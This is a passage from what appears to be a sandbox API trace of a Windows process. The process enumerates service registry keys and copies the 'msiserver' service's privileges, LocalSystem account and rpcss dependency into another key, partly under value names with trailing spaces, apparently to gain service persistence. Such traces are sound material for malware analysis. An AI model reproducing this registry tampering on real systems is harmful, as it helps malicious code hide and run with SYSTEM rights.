lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0256.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0256.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0256.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0256.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0256.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0256.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0256.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0256.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0256.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0256.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0256.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0256.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0256.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0256.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0256.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0256.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0256.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0256.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0256.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0256.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0256.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0256.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0256.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0256.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0256.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0256.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0256.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0256.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0256.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0256.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0256.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0256.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0256.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0256.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0256.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0256.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0256.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0256.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0256.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0256.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0256.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0256.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0256.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0256.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0256.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0256.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0256.081] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0256.082] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0256.082] RegCloseKey (hKey=0x148) returned 0x0 [0256.082] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0256.082] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0256.082] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0256.082] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0256.082] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0256.082] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0256.082] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0256.082] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0256.082] RegCloseKey (hKey=0x80000002) returned 0x0 [0256.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0256.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0256.082] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0256.083] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0256.083] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0256.083] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0256.083] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0256.083] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0256.083] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0256.083] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0256.083] RegCloseKey (hKey=0x150) returned 0x0 [0256.083] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0256.083] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0256.083] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0256.083] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0256.083] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0256.084] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0256.084] RegCloseKey (hKey=0x148) returned 0x0 [0256.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0256.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0256.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0256.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0256.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0256.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0256.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0256.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0256.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0256.085] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.085] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.085] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.085] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.085] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.085] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.085] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.085] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.085] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.086] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.086] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.149] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.149] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.150] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.150] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.150] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.150] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0256.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0256.150] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0256.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0256.150] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.150] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.150] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.151] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.151] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.151] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.151] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.151] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.151] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.151] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.151] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.151] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.151] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.151] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.151] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.152] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.152] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0256.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0256.152] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0256.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0256.152] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.152] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.152] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.152] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.152] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.152] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.152] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.153] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.153] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.153] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.153] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.153] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.153] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.153] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.153] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.153] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.153] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0256.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0256.153] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0256.154] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", 